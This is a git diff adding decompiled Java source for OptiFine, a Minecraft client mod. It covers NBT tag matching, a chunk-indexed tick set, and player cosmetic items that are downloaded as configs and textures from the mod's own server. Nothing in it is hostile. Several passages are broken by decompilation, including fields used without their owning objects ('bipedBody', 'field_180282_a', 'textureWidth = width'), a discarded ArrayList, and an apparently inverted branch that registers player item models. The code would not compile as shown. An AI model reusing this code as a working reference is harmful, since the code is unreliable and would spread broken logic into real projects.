+      int var8 = var7.tagCount();
+      
+      for (int var9 = 0; var9 < var8; var9++)
+      {
+        NBTBase var10 = var7.get(var9);
+        
+        if (matches(var10))
+        {
+          return true;
+        }
+      }
+    }
+    
+    return false;
+  }
+  
+  private static NBTBase getChildTag(NBTBase tagBase, String tag)
+  {
+    if ((tagBase instanceof NBTTagCompound))
+    {
+      NBTTagCompound tagList1 = (NBTTagCompound)tagBase;
+      return tagList1.getTag(tag);
+    }
+    if ((tagBase instanceof NBTTagList))
+    {
+      NBTTagList tagList = (NBTTagList)tagBase;
+      int index = Config.parseInt(tag, -1);
+      return index < 0 ? null : tagList.get(index);
+    }
+    
+
+    return null;
+  }
+  
+
+  private boolean matches(NBTBase nbtBase)
+  {
+    if (nbtBase == null)
+    {
+      return false;
+    }
+    
+
+    String nbtValue = getValue(nbtBase);
+    
+    if (nbtValue == null)
+    {
+      return false;
+    }
+    
+
+    switch (type)
+    {
+    case 0: 
+      return nbtValue.equals(value);
+    
+    case 1: 
+      return matchesPattern(nbtValue, value);
+    
+    case 2: 
+      return matchesPattern(nbtValue.toLowerCase(), value);
+    
+    case 3: 
+      return matchesRegex(nbtValue, value);
+    
+    case 4: 
+      return matchesRegex(nbtValue.toLowerCase(), value);
+    }
+    
+    throw new IllegalArgumentException("Unknown NbtTagValue type: " + type);
+  }
+  
+
+
+
+  private boolean matchesPattern(String str, String pattern)
+  {
+    return StrUtils.equalsMask(str, pattern, '*', '?');
+  }
+  
+  private boolean matchesRegex(String str, String regex)
+  {
+    return str.matches(regex);
+  }
+  
+  private static String getValue(NBTBase nbtBase)
+  {
+    if (nbtBase == null)
+    {
+      return null;
+    }
+    if ((nbtBase instanceof NBTTagString))
+    {
+      NBTTagString d6 = (NBTTagString)nbtBase;
+      return d6.getString();
+    }
+    if ((nbtBase instanceof NBTTagInt))
+    {
+      NBTTagInt d5 = (NBTTagInt)nbtBase;
+      return Integer.toString(d5.getInt());
+    }
+    if ((nbtBase instanceof NBTTagByte))
+    {
+      NBTTagByte d4 = (NBTTagByte)nbtBase;
+      return Byte.toString(d4.getByte());
+    }
+    if ((nbtBase instanceof NBTTagShort))
+    {
+      NBTTagShort d3 = (NBTTagShort)nbtBase;
+      return Short.toString(d3.getShort());
+    }
+    if ((nbtBase instanceof NBTTagLong))
+    {
+      NBTTagLong d2 = (NBTTagLong)nbtBase;
+      return Long.toString(d2.getLong());
+    }
+    if ((nbtBase instanceof NBTTagFloat))
+    {
+      NBTTagFloat d1 = (NBTTagFloat)nbtBase;
+      return Float.toString(d1.getFloat());
+    }
+    if ((nbtBase instanceof NBTTagDouble))
+    {
+      NBTTagDouble d = (NBTTagDouble)nbtBase;
+      return Double.toString(d.getDouble());
+    }
+    
+
+    return nbtBase.toString();
+  }
+  
+
+  public String toString()
+  {
+    StringBuffer sb = new StringBuffer();
+    
+    for (int i = 0; i < parents.length; i++)
+    {
+      String parent = parents[i];
+      
+      if (i > 0)
+      {
+        sb.append(".");
+      }
+      
+      sb.append(parent);
+    }
+    
+    if (sb.length() > 0)
+    {
+      sb.append(".");
+    }
+    
+    sb.append(name);
+    sb.append(" = ");
+    sb.append(value);
+    return sb.toString();
+  }
+}
diff --git a/src/minecraft/optifine/NextTickHashSet.java b/src/minecraft/optifine/NextTickHashSet.java
new file mode 100644
index 0000000..8d77982
--- /dev/null
+++ b/src/minecraft/optifine/NextTickHashSet.java
@@ -0,0 +1,202 @@
+package optifine;
+
+import com.google.common.collect.Iterators;
+import java.util.ArrayList;
+import java.util.HashSet;
+import java.util.Iterator;
+import java.util.Set;
+import java.util.TreeSet;
+import net.minecraft.util.BlockPos;
+import net.minecraft.util.LongHashMap;
+import net.minecraft.world.ChunkCoordIntPair;
+import net.minecraft.world.NextTickListEntry;
+
+public class NextTickHashSet extends TreeSet
+{
+  private LongHashMap longHashMap = new LongHashMap();
+  private int minX = Integer.MIN_VALUE;
+  private int minZ = Integer.MIN_VALUE;
+  private int maxX = Integer.MIN_VALUE;
+  private int maxZ = Integer.MIN_VALUE;
+  private static final int UNDEFINED = Integer.MIN_VALUE;
+  
+  public NextTickHashSet(Set oldSet)
+  {
+    Iterator it = oldSet.iterator();
+    
+    while (it.hasNext())
+    {
+      Object obj = it.next();
+      add(obj);
+    }
+  }
+  
+  public boolean contains(Object obj)
+  {
+    if (!(obj instanceof NextTickListEntry))
+    {
+      return false;
+    }
+    
+
+    NextTickListEntry entry = (NextTickListEntry)obj;
+    Set set = getSubSet(entry, false);
+    return set == null ? false : set.contains(entry);
+  }
+  
+
+  public boolean add(Object obj)
+  {
+    if (!(obj instanceof NextTickListEntry))
+    {
+      return false;
+    }
+    
+
+    NextTickListEntry entry = (NextTickListEntry)obj;
+    
+    if (entry == null)
+    {
+      return false;
+    }
+    
+
+    Set set = getSubSet(entry, true);
+    boolean added = set.add(entry);
+    boolean addedParent = super.add(obj);
+    
+    if (added != addedParent)
+    {
+      throw new IllegalStateException("Added: " + added + ", addedParent: " + addedParent);
+    }
+    
+
+    return addedParent;
+  }
+  
+
+
+
+  public boolean remove(Object obj)
+  {
+    if (!(obj instanceof NextTickListEntry))
+    {
+      return false;
+    }
+    
+
+    NextTickListEntry entry = (NextTickListEntry)obj;
+    Set set = getSubSet(entry, false);
+    
+    if (set == null)
+    {
+      return false;
+    }
+    
+
+    boolean removed = set.remove(entry);
+    boolean removedParent = super.remove(entry);
+    
+    if (removed != removedParent)
+    {
+      throw new IllegalStateException("Added: " + removed + ", addedParent: " + removedParent);
+    }
+    
+
+    return removedParent;
+  }
+  
+
+
+
+  private Set getSubSet(NextTickListEntry entry, boolean autoCreate)
+  {
+    if (entry == null)
+    {
+      return null;
+    }
+    
+
+    BlockPos pos = field_180282_a;
+    int cx = pos.getX() >> 4;
+    int cz = pos.getZ() >> 4;
+    return getSubSet(cx, cz, autoCreate);
+  }
+  
+
+  private Set getSubSet(int cx, int cz, boolean autoCreate)
+  {
+    long key = ChunkCoordIntPair.chunkXZ2Int(cx, cz);
+    HashSet set = (HashSet)longHashMap.getValueByKey(key);
+    
+    if ((set == null) && (autoCreate))
+    {
+      set = new HashSet();
+      longHashMap.add(key, set);
+    }
+    
+    return set;
+  }
+  
+  public Iterator iterator()
+  {
+    if (minX == Integer.MIN_VALUE)
+    {
+      return super.iterator();
+    }
+    if (size() <= 0)
+    {
+      return Iterators.emptyIterator();
+    }
+    
+
+    int cMinX = minX >> 4;
+    int cMinZ = minZ >> 4;
+    int cMaxX = maxX >> 4;
+    int cMaxZ = maxZ >> 4;
+    ArrayList listIterators = new ArrayList();
+    
+    for (int x = cMinX; x <= cMaxX; x++)
+    {
+      for (int z = cMinZ; z <= cMaxZ; z++)
+      {
+        Set set = getSubSet(x, z, false);
+        
+        if (set != null)
+        {
+          listIterators.add(set.iterator());
+        }
+      }
+    }
+    
+    if (listIterators.size() <= 0)
+    {
+      return Iterators.emptyIterator();
+    }
+    if (listIterators.size() == 1)
+    {
+      return (Iterator)listIterators.get(0);
+    }
+    
+
+    return Iterators.concat(listIterators.iterator());
+  }
+  
+
+
+  public void setIteratorLimits(int minX, int minZ, int maxX, int maxZ)
+  {
+    this.minX = Math.min(minX, maxX);
+    this.minZ = Math.min(minZ, maxZ);
+    this.maxX = Math.max(minX, maxX);
+    this.maxZ = Math.max(minZ, maxZ);
+  }
+  
+  public void clearIteratorLimits()
+  {
+    minX = Integer.MIN_VALUE;
+    minZ = Integer.MIN_VALUE;
+    maxX = Integer.MIN_VALUE;
+    maxZ = Integer.MIN_VALUE;
+  }
+}
diff --git a/src/minecraft/optifine/PlayerConfiguration.java b/src/minecraft/optifine/PlayerConfiguration.java
new file mode 100644
index 0000000..fa83b9d
--- /dev/null
+++ b/src/minecraft/optifine/PlayerConfiguration.java
@@ -0,0 +1,42 @@
+package optifine;
+
+import net.minecraft.client.entity.AbstractClientPlayer;
+import net.minecraft.client.model.ModelBiped;
+
+public class PlayerConfiguration
+{
+  private PlayerItemModel[] playerItemModels = new PlayerItemModel[0];
+  private boolean initialized = false;
+  
+  public PlayerConfiguration() {}
+  
+  public void renderPlayerItems(ModelBiped modelBiped, AbstractClientPlayer player, float scale, float partialTicks) { if (initialized)
+    {
+      for (int i = 0; i < playerItemModels.length; i++)
+      {
+        PlayerItemModel model = playerItemModels[i];
+        model.render(modelBiped, player, scale, partialTicks);
+      }
+    }
+  }
+  
+  public boolean isInitialized()
+  {
+    return initialized;
+  }
+  
+  public void setInitialized(boolean initialized)
+  {
+    this.initialized = initialized;
+  }
+  
+  public PlayerItemModel[] getPlayerItemModels()
+  {
+    return playerItemModels;
+  }
+  
+  public void addPlayerItemModel(PlayerItemModel playerItemModel)
+  {
+    playerItemModels = ((PlayerItemModel[])Config.addObjectToArray(playerItemModels, playerItemModel));
+  }
+}
diff --git a/src/minecraft/optifine/PlayerConfigurationParser.java b/src/minecraft/optifine/PlayerConfigurationParser.java
new file mode 100644
index 0000000..d53aa2d
--- /dev/null
+++ b/src/minecraft/optifine/PlayerConfigurationParser.java
@@ -0,0 +1,135 @@
+package optifine;
+
+import com.google.gson.JsonArray;
+import com.google.gson.JsonElement;
+import com.google.gson.JsonObject;
+import com.google.gson.JsonParseException;
+import com.google.gson.JsonParser;
+import java.awt.image.BufferedImage;
+import java.io.ByteArrayInputStream;
+import java.io.IOException;
+import javax.imageio.ImageIO;
+import net.minecraft.client.Minecraft;
+import net.minecraft.util.ResourceLocation;
+
+public class PlayerConfigurationParser
+{
+  private String player = null;
+  public static final String CONFIG_ITEMS = "items";
+  public static final String ITEM_TYPE = "type";
+  public static final String ITEM_ACTIVE = "active";
+  
+  public PlayerConfigurationParser(String player)
+  {
+    this.player = player;
+  }
+  
+  public PlayerConfiguration parsePlayerConfiguration(JsonElement je)
+  {
+    if (je == null)
+    {
+      throw new JsonParseException("JSON object is null, player: " + player);
+    }
+    
+
+    JsonObject jo = (JsonObject)je;
+    PlayerConfiguration pc = new PlayerConfiguration();
+    JsonArray items = (JsonArray)jo.get("items");
+    
+    if (items != null)
+    {
+      for (int i = 0; i < items.size(); i++)
+      {
+        JsonObject item = (JsonObject)items.get(i);
+        boolean active = Json.getBoolean(item, "active", true);
+        
+        if (active)
+        {
+          String type = Json.getString(item, "type");
+          
+          if (type == null)
+          {
+            Config.warn("Item type is null, player: " + player);
+          }
+          else
+          {
+            String modelPath = Json.getString(item, "model");
+            
+            if (modelPath == null)
+            {
+              modelPath = "items/" + type + "/model.cfg";
+            }
+            
+            PlayerItemModel model = downloadModel(modelPath);
+            
+            if (model != null)
+            {
+              if (!model.isUsePlayerTexture())
+              {
+                String texturePath = Json.getString(item, "texture");
+                
+                if (texturePath == null)
+                {
+                  texturePath = "items/" + type + "/users/" + player + ".png";
+                }
+                
+                BufferedImage image = downloadTextureImage(texturePath);
+                
+                if (image != null)
+                {
+
+
+
+                  model.setTextureImage(image);
+                  ResourceLocation loc = new ResourceLocation("optifine.net", texturePath);
+                  model.setTextureLocation(loc);
+                }
+              } else {
+                pc.addPlayerItemModel(model);
+              }
+            }
+          }
+        }
+      }
+    }
+    return pc;
+  }
+  
+
+  private BufferedImage downloadTextureImage(String texturePath)
+  {
+    String textureUrl = "http://s.optifine.net/" + texturePath;
+    
+    try
+    {
+      byte[] e = HttpPipeline.get(textureUrl, Minecraft.getMinecraft().getProxy());
+      return ImageIO.read(new ByteArrayInputStream(e));
+
+    }
+    catch (IOException var5)
+    {
+      Config.warn("Error loading item texture " + texturePath + ": " + var5.getClass().getName() + ": " + var5.getMessage()); }
+    return null;
+  }
+  
+
+  private PlayerItemModel downloadModel(String modelPath)
+  {
+    String modelUrl = "http://s.optifine.net/" + modelPath;
+    
+    try
+    {
+      byte[] e = HttpPipeline.get(modelUrl, Minecraft.getMinecraft().getProxy());
+      String jsonStr = new String(e, "ASCII");
+      JsonParser jp = new JsonParser();
+      JsonObject jo = (JsonObject)jp.parse(jsonStr);
+      PlayerItemParser pip = new PlayerItemParser();
+      return PlayerItemParser.parseItemModel(jo);
+
+    }
+    catch (Exception var9)
+    {
+      Config.warn("Error loading item model " + modelPath + ": " + var9.getClass().getName() + ": " + var9.getMessage()); }
+    return null;
+  }
+}
diff --git a/src/minecraft/optifine/PlayerConfigurationReceiver.java b/src/minecraft/optifine/PlayerConfigurationReceiver.java
new file mode 100644
index 0000000..2517a84
--- /dev/null
+++ b/src/minecraft/optifine/PlayerConfigurationReceiver.java
@@ -0,0 +1,39 @@
+package optifine;
+
+import com.google.gson.JsonElement;
+import com.google.gson.JsonParser;
+
+public class PlayerConfigurationReceiver implements IFileDownloadListener
+{
+  private String player = null;
+  
+  public PlayerConfigurationReceiver(String player)
+  {
+    this.player = player;
+  }
+  
+  public void fileDownloadFinished(String url, byte[] bytes, Throwable exception)
+  {
+    if (bytes != null)
+    {
+      try
+      {
+        String e = new String(bytes, "ASCII");
+        JsonParser jp = new JsonParser();
+        JsonElement je = jp.parse(e);
+        PlayerConfigurationParser pcp = new PlayerConfigurationParser(player);
+        PlayerConfiguration pc = pcp.parsePlayerConfiguration(je);
+        
+        if (pc != null)
+        {
+          pc.setInitialized(true);
+          PlayerConfigurations.setPlayerConfiguration(player, pc);
+        }
+      }
+      catch (Exception var9)
+      {
+        Config.dbg("Error parsing configuration: " + url + ", " + var9.getClass().getName() + ": " + var9.getMessage());
+      }
+    }
+  }
+}
diff --git a/src/minecraft/optifine/PlayerConfigurations.java b/src/minecraft/optifine/PlayerConfigurations.java
new file mode 100644
index 0000000..0eea650
--- /dev/null
+++ b/src/minecraft/optifine/PlayerConfigurations.java
@@ -0,0 +1,62 @@
+package optifine;
+
+import java.util.HashMap;
+import java.util.Map;
+import net.minecraft.client.entity.AbstractClientPlayer;
+import net.minecraft.client.model.ModelBiped;
+
+public class PlayerConfigurations
+{
+  private static Map mapConfigurations = null;
+  
+  public PlayerConfigurations() {}
+  
+  public static void renderPlayerItems(ModelBiped modelBiped, AbstractClientPlayer player, float scale, float partialTicks) { PlayerConfiguration cfg = getPlayerConfiguration(player);
+    
+    if (cfg != null)
+    {
+      cfg.renderPlayerItems(modelBiped, player, scale, partialTicks);
+    }
+  }
+  
+  public static synchronized PlayerConfiguration getPlayerConfiguration(AbstractClientPlayer player)
+  {
+    String name = player.getNameClear();
+    
+    if (name == null)
+    {
+      return null;
+    }
+    
+
+    PlayerConfiguration pc = (PlayerConfiguration)getMapConfigurations().get(name);
+    
+    if (pc == null)
+    {
+      pc = new PlayerConfiguration();
+      getMapConfigurations().put(name, pc);
+      PlayerConfigurationReceiver pcl = new PlayerConfigurationReceiver(name);
+      String url = "http://s.optifine.net/users/" + name + ".cfg";
+      FileDownloadThread fdt = new FileDownloadThread(url, pcl);
+      fdt.start();
+    }
+    
+    return pc;
+  }
+  
+
+  public static synchronized void setPlayerConfiguration(String player, PlayerConfiguration pc)
+  {
+    getMapConfigurations().put(player, pc);
+  }
+  
+  private static Map getMapConfigurations()
+  {
+    if (mapConfigurations == null)
+    {
+      mapConfigurations = new HashMap();
+    }
+    
+    return mapConfigurations;
+  }
+}
diff --git a/src/minecraft/optifine/PlayerControllerOF.java b/src/minecraft/optifine/PlayerControllerOF.java
new file mode 100644
index 0000000..dae6145
--- /dev/null
+++ b/src/minecraft/optifine/PlayerControllerOF.java
@@ -0,0 +1,63 @@
+package optifine;
+
+import net.minecraft.client.Minecraft;
+import net.minecraft.client.entity.EntityPlayerSP;
+import net.minecraft.client.multiplayer.PlayerControllerMP;
+import net.minecraft.client.multiplayer.WorldClient;
+import net.minecraft.client.network.NetHandlerPlayClient;
+import net.minecraft.entity.player.EntityPlayer;
+import net.minecraft.item.ItemStack;
+import net.minecraft.util.BlockPos;
+import net.minecraft.util.EnumFacing;
+import net.minecraft.util.Vec3;
+import net.minecraft.world.World;
+
+public class PlayerControllerOF extends PlayerControllerMP
+{
+  private boolean acting = false;
+  
+  public PlayerControllerOF(Minecraft mcIn, NetHandlerPlayClient netHandler)
+  {
+    super(mcIn, netHandler);
+  }
+  
+  public boolean func_180511_b(BlockPos loc, EnumFacing face)
+  {
+    acting = true;
+    boolean res = super.func_180511_b(loc, face);
+    acting = false;
+    return res;
+  }
+  
+  public boolean func_180512_c(BlockPos posBlock, EnumFacing directionFacing)
+  {
+    acting = true;
+    boolean res = super.func_180512_c(posBlock, directionFacing);
+    acting = false;
+    return res;
+  }
+  
+
+
+
+  public boolean sendUseItem(EntityPlayer player, World worldIn, ItemStack stack)
+  {
+    acting = true;
+    boolean res = super.sendUseItem(player, worldIn, stack);
+    acting = false;
+    return res;
+  }
+  
+  public boolean func_178890_a(EntityPlayerSP player, WorldClient worldIn, ItemStack stack, BlockPos pos, EnumFacing facing, Vec3 vec)
+  {
+    acting = true;
+    boolean res = super.func_178890_a(player, worldIn, stack, pos, facing, vec);
+    acting = false;
+    return res;
+  }
+  
+  public boolean isActing()
+  {
+    return acting;
+  }
+}
diff --git a/src/minecraft/optifine/PlayerItemModel.java b/src/minecraft/optifine/PlayerItemModel.java
new file mode 100644
index 0000000..fe51298
--- /dev/null
+++ b/src/minecraft/optifine/PlayerItemModel.java
@@ -0,0 +1,132 @@
+package optifine;
+
+import java.awt.Dimension;
+import java.awt.image.BufferedImage;
+import net.minecraft.client.Minecraft;
+import net.minecraft.client.entity.AbstractClientPlayer;
+import net.minecraft.client.model.ModelBiped;
+import net.minecraft.client.model.ModelRenderer;
+import net.minecraft.client.renderer.GlStateManager;
+import net.minecraft.client.renderer.texture.DynamicTexture;
+import net.minecraft.client.renderer.texture.TextureManager;
+import net.minecraft.util.ResourceLocation;
+
+public class PlayerItemModel
+{
+  private Dimension textureSize = null;
+  private boolean usePlayerTexture = false;
+  private PlayerItemRenderer[] modelRenderers = new PlayerItemRenderer[0];
+  private ResourceLocation textureLocation = null;
+  private BufferedImage textureImage = null;
+  private DynamicTexture texture = null;
+  private ResourceLocation locationMissing = new ResourceLocation("textures/blocks/wool_colored_red.png");
+  public static final int ATTACH_BODY = 0;
+  public static final int ATTACH_HEAD = 1;
+  public static final int ATTACH_LEFT_ARM = 2;
+  public static final int ATTACH_RIGHT_ARM = 3;
+  public static final int ATTACH_LEFT_LEG = 4;
+  public static final int ATTACH_RIGHT_LEG = 5;
+  public static final int ATTACH_CAPE = 6;
+  
+  public PlayerItemModel(Dimension textureSize, boolean usePlayerTexture, PlayerItemRenderer[] modelRenderers)
+  {
+    this.textureSize = textureSize;
+    this.usePlayerTexture = usePlayerTexture;
+    this.modelRenderers = modelRenderers;
+  }
+  
+  public void render(ModelBiped modelBiped, AbstractClientPlayer player, float scale, float partialTicks)
+  {
+    TextureManager textureManager = Config.getTextureManager();
+    
+    if (usePlayerTexture)
+    {
+      textureManager.bindTexture(player.getLocationSkin());
+    }
+    else if (textureLocation != null)
+    {
+      if ((texture == null) && (textureImage != null))
+      {
+        texture = new DynamicTexture(textureImage);
+        Minecraft.getMinecraft().getTextureManager().loadTexture(textureLocation, texture);
+      }
+      
+      textureManager.bindTexture(textureLocation);
+    }
+    else
+    {
+      textureManager.bindTexture(locationMissing);
+    }
+    
+    for (int i = 0; i < modelRenderers.length; i++)
+    {
+      PlayerItemRenderer pir = modelRenderers[i];
+      GlStateManager.pushMatrix();
+      
+      if (player.isSneaking())
+      {
+        GlStateManager.translate(0.0F, 0.2F, 0.0F);
+      }
+      
+      pir.render(modelBiped, scale);
+      GlStateManager.popMatrix();
+    }
+  }
+  
+  public static ModelRenderer getAttachModel(ModelBiped modelBiped, int attachTo)
+  {
+    switch (attachTo)
+    {
+    case 0: 
+      return bipedBody;
+    
+    case 1: 
+      return bipedHead;
+    
+    case 2: 
+      return bipedLeftArm;
+    
+    case 3: 
+      return bipedRightArm;
+    
+    case 4: 
+      return bipedLeftLeg;
+    
+    case 5: 
+      return bipedRightLeg;
+    }
+    
+    return null;
+  }
+  
+
+  public BufferedImage getTextureImage()
+  {
+    return textureImage;
+  }
+  
+  public void setTextureImage(BufferedImage textureImage)
+  {
+    this.textureImage = textureImage;
+  }
+  
+  public DynamicTexture getTexture()
+  {
+    return texture;
+  }
+  
+  public ResourceLocation getTextureLocation()
+  {
+    return textureLocation;
+  }
+  
+  public void setTextureLocation(ResourceLocation textureLocation)
+  {
+    this.textureLocation = textureLocation;
+  }
+  
+  public boolean isUsePlayerTexture()
+  {
+    return usePlayerTexture;
+  }
+}
diff --git a/src/minecraft/optifine/PlayerItemParser.java b/src/minecraft/optifine/PlayerItemParser.java
new file mode 100644
index 0000000..3e0ff88
--- /dev/null
+++ b/src/minecraft/optifine/PlayerItemParser.java
@@ -0,0 +1,379 @@
+package optifine;
+
+import com.google.gson.JsonArray;
+import com.google.gson.JsonElement;
+import com.google.gson.JsonObject;
+import com.google.gson.JsonParseException;
+import com.google.gson.JsonParser;
+import java.awt.Dimension;
+import java.util.ArrayList;
+import java.util.HashMap;
+import java.util.Iterator;
+import java.util.Map.Entry;
+import java.util.Set;
+import net.minecraft.client.model.ModelBase;
+import net.minecraft.client.model.ModelRenderer;
+import net.minecraft.util.ResourceLocation;
+
+public class PlayerItemParser
+{
+  private static JsonParser jsonParser = new JsonParser();
+  public static final String ITEM_TYPE = "type";
+  public static final String ITEM_TEXTURE_SIZE = "textureSize";
+  public static final String ITEM_USE_PLAYER_TEXTURE = "usePlayerTexture";
+  public static final String ITEM_MODELS = "models";
+  public static final String MODEL_ID = "id";
+  public static final String MODEL_BASE_ID = "baseId";
+  public static final String MODEL_TYPE = "type";
+  public static final String MODEL_ATTACH_TO = "attachTo";
+  public static final String MODEL_INVERT_AXIS = "invertAxis";
+  public static final String MODEL_MIRROR_TEXTURE = "mirrorTexture";
+  public static final String MODEL_TRANSLATE = "translate";
+  public static final String MODEL_ROTATE = "rotate";
+  public static final String MODEL_SCALE = "scale";
+  public static final String MODEL_BOXES = "boxes";
+  public static final String MODEL_SPRITES = "sprites";
+  public static final String MODEL_SUBMODEL = "submodel";
+  public static final String MODEL_SUBMODELS = "submodels";
+  public static final String BOX_TEXTURE_OFFSET = "textureOffset";
+  public static final String BOX_COORDINATES = "coordinates";
+  public static final String BOX_SIZE_ADD = "sizeAdd";
+  public static final String ITEM_TYPE_MODEL = "PlayerItem";
+  public static final String MODEL_TYPE_BOX = "ModelBox";
+  
+  public PlayerItemParser() {}
+  
+  public static PlayerItemModel parseItemModel(JsonObject obj) { String type = Json.getString(obj, "type");
+    
+    if (!Config.equals(type, "PlayerItem"))
+    {
+      throw new JsonParseException("Unknown model type: " + type);
+    }
+    
+
+    int[] textureSize = Json.parseIntArray(obj.get("textureSize"), 2);
+    checkNull(textureSize, "Missing texture size");
+    Dimension textureDim = new Dimension(textureSize[0], textureSize[1]);
+    boolean usePlayerTexture = Json.getBoolean(obj, "usePlayerTexture", false);
+    JsonArray models = (JsonArray)obj.get("models");
+    checkNull(models, "Missing elements");
+    HashMap mapModelJsons = new HashMap();
+    ArrayList listModels = new ArrayList();
+    new ArrayList();
+    
+    for (int modelRenderers = 0; modelRenderers < models.size(); modelRenderers++)
+    {
+      JsonObject elem = (JsonObject)models.get(modelRenderers);
+      String baseId = Json.getString(elem, "baseId");
+      
+      if (baseId != null)
+      {
+        JsonObject id = (JsonObject)mapModelJsons.get(baseId);
+        
+        if (id == null)
+        {
+          Config.warn("BaseID not found: " + baseId);
+        }
+        else
+        {
+          Set mr = id.entrySet();
+          Iterator iterator = mr.iterator();
+          
+          while (iterator.hasNext())
+          {
+            Map.Entry entry = (Map.Entry)iterator.next();
+            
+            if (!elem.has((String)entry.getKey()))
+            {
+              elem.add((String)entry.getKey(), (JsonElement)entry.getValue());
+            }
+          }
+        }
+      } else {
+        String var17 = Json.getString(elem, "id");
+        
+        if (var17 != null)
+        {
+          if (!mapModelJsons.containsKey(var17))
+          {
+            mapModelJsons.put(var17, elem);
+          }
+          else
+          {
+            Config.warn("Duplicate model ID: " + var17);
+          }
+        }
+        
+        PlayerItemRenderer var18 = parseItemRenderer(elem, textureDim);
+        
+        if (var18 != null)
+        {
+          listModels.add(var18);
+        }
+      }
+    }
+    PlayerItemRenderer[] var16 = (PlayerItemRenderer[])listModels.toArray(new PlayerItemRenderer[listModels.size()]);
+    return new PlayerItemModel(textureDim, usePlayerTexture, var16);
+  }
+  
+
+  private static void checkNull(Object obj, String msg)
+  {
+    if (obj == null)
+    {
+      throw new JsonParseException(msg);
+    }
+  }
+  
+  private static ResourceLocation makeResourceLocation(String texture)
+  {
+    int pos = texture.indexOf(':');
+    
+    if (pos < 0)
+    {
+      return new ResourceLocation(texture);
+    }
+    
+
+    String domain = texture.substring(0, pos);
+    String path = texture.substring(pos + 1);
+    return new ResourceLocation(domain, path);
+  }
+  
+
+  private static int parseAttachModel(String attachModelStr)
+  {
+    if (attachModelStr == null)
+    {
+      return 0;
+    }
+    if (attachModelStr.equals("body"))
+    {
+      return 0;
+    }
+    if (attachModelStr.equals("head"))
+    {
+      return 1;
+    }
+    if (attachModelStr.equals("leftArm"))
+    {
+      return 2;
+    }
+    if (attachModelStr.equals("rightArm"))
+    {
+      return 3;
+    }
+    if (attachModelStr.equals("leftLeg"))
+    {
+      return 4;
+    }
+    if (attachModelStr.equals("rightLeg"))
+    {
+      return 5;
+    }
+    if (attachModelStr.equals("cape"))
+    {
+      return 6;
+    }
+    
+
+    Config.warn("Unknown attachModel: " + attachModelStr);
+    return 0;
+  }
+  
+
+  private static PlayerItemRenderer parseItemRenderer(JsonObject elem, Dimension textureDim)
+  {
+    String type = Json.getString(elem, "type");
+    
+    if (!Config.equals(type, "ModelBox"))
+    {
+      Config.warn("Unknown model type: " + type);
+      return null;
+    }
+    
+
+    String attachToStr = Json.getString(elem, "attachTo");
+    int attachTo = parseAttachModel(attachToStr);
+    float scale = Json.getFloat(elem, "scale", 1.0F);
+    ModelPlayerItem modelBase = new ModelPlayerItem();
+    textureWidth = width;
+    textureHeight = height;
+    ModelRenderer mr = parseModelRenderer(elem, modelBase);
+    PlayerItemRenderer pir = new PlayerItemRenderer(attachTo, scale, mr);
+    return pir;
+  }
+  
+
+  private static ModelRenderer parseModelRenderer(JsonObject elem, ModelBase modelBase)
+  {
+    ModelRenderer mr = new ModelRenderer(modelBase);
+    String invertAxis = Json.getString(elem, "invertAxis", "").toLowerCase();
+    boolean invertX = invertAxis.contains("x");
+    boolean invertY = invertAxis.contains("y");
+    boolean invertZ = invertAxis.contains("z");
+    float[] translate = Json.parseFloatArray(elem.get("translate"), 3, new float[3]);
+    
+    if (invertX)
+    {
+      translate[0] = (-translate[0]);
+    }
+    
+    if (invertY)
+    {
+      translate[1] = (-translate[1]);
+    }
+    
+    if (invertZ)
+    {
+      translate[2] = (-translate[2]);
+    }
+    
+    float[] rotateAngles = Json.parseFloatArray(elem.get("rotate"), 3, new float[3]);
+    
+    for (int mirrorTexture = 0; mirrorTexture < rotateAngles.length; mirrorTexture++)
+    {
+      rotateAngles[mirrorTexture] = (rotateAngles[mirrorTexture] / 180.0F * 3.1415927F);
+    }
+    
+    if (invertX)
+    {
+      rotateAngles[0] = (-rotateAngles[0]);
+    }
+    
+    if (invertY)
+    {
+      rotateAngles[1] = (-rotateAngles[1]);
+    }
+    
+    if (invertZ)
+    {
+      rotateAngles[2] = (-rotateAngles[2]);
+    }
+    
+    mr.setRotationPoint(translate[0], translate[1], translate[2]);
+    rotateAngleX = rotateAngles[0];
+    rotateAngleY = rotateAngles[1];
+    rotateAngleZ = rotateAngles[2];
+    String var19 = Json.getString(elem, "mirrorTexture", "").toLowerCase();
+    boolean invertU = var19.contains("u");
+    boolean invertV = var19.contains("v");
+    
+    if (invertU)
+    {
+      mirror = true;
+    }
+    
+    if (invertV)
+    {
+      mirrorV = true;
+    }
+    
+    JsonArray boxes = elem.getAsJsonArray("boxes");
+    
+
+    if (boxes != null)
+    {
+      for (int sprites = 0; sprites < boxes.size(); sprites++)
+      {
+        JsonObject submodel = boxes.get(sprites).getAsJsonObject();
+        int[] submodels = Json.parseIntArray(submodel.get("textureOffset"), 2);
+        
+        if (submodels == null)
+        {
+          throw new JsonParseException("Texture offset not specified");
+        }
+        
+        float[] i = Json.parseFloatArray(submodel.get("coordinates"), 6);
+        
+        if (i == null)
+        {
+          throw new JsonParseException("Coordinates not specified");
+        }
+        
+        if (invertX)
+        {
+          i[0] = (-i[0] - i[3]);
+        }
+        
+        if (invertY)
+        {
+          i[1] = (-i[1] - i[4]);
+        }
+        
+        if (invertZ)
+        {
+          i[2] = (-i[2] - i[5]);
+        }
+        
+        float sm = Json.getFloat(submodel, "sizeAdd", 0.0F);
+        mr.setTextureOffset(submodels[0], submodels[1]);
+        mr.addBox(i[0], i[1], i[2], (int)i[3], (int)i[4], (int)i[5], sm);
+      }
+    }
+    
+    JsonArray var20 = elem.getAsJsonArray("sprites");
+    
+    if (var20 != null)
+    {
+      for (int var21 = 0; var21 < var20.size(); var21++)
+      {
+        JsonObject var22 = var20.get(var21).getAsJsonObject();
+        int[] var25 = Json.parseIntArray(var22.get("textureOffset"), 2);
+        
+        if (var25 == null)
+        {
+          throw new JsonParseException("Texture offset not specified");
+        }
+        
+        float[] var27 = Json.parseFloatArray(var22.get("coordinates"), 6);
+        
+        if (var27 == null)
+        {
+          throw new JsonParseException("Coordinates not specified");
+        }
+        
+        if (invertX)
+        {
+          var27[0] = (-var27[0] - var27[3]);
+        }
+        
+        if (invertY)
+        {
+          var27[1] = (-var27[1] - var27[4]);
+        }
+        
+        if (invertZ)
+        {
+          var27[2] = (-var27[2] - var27[5]);
+        }
+        
+        float subMr = Json.getFloat(var22, "sizeAdd", 0.0F);
+        mr.setTextureOffset(var25[0], var25[1]);
+        mr.addSprite(var27[0], var27[1], var27[2], (int)var27[3], (int)var27[4], (int)var27[5], subMr);
+      }
+    }
+    
+    JsonObject submodel = (JsonObject)elem.get("submodel");
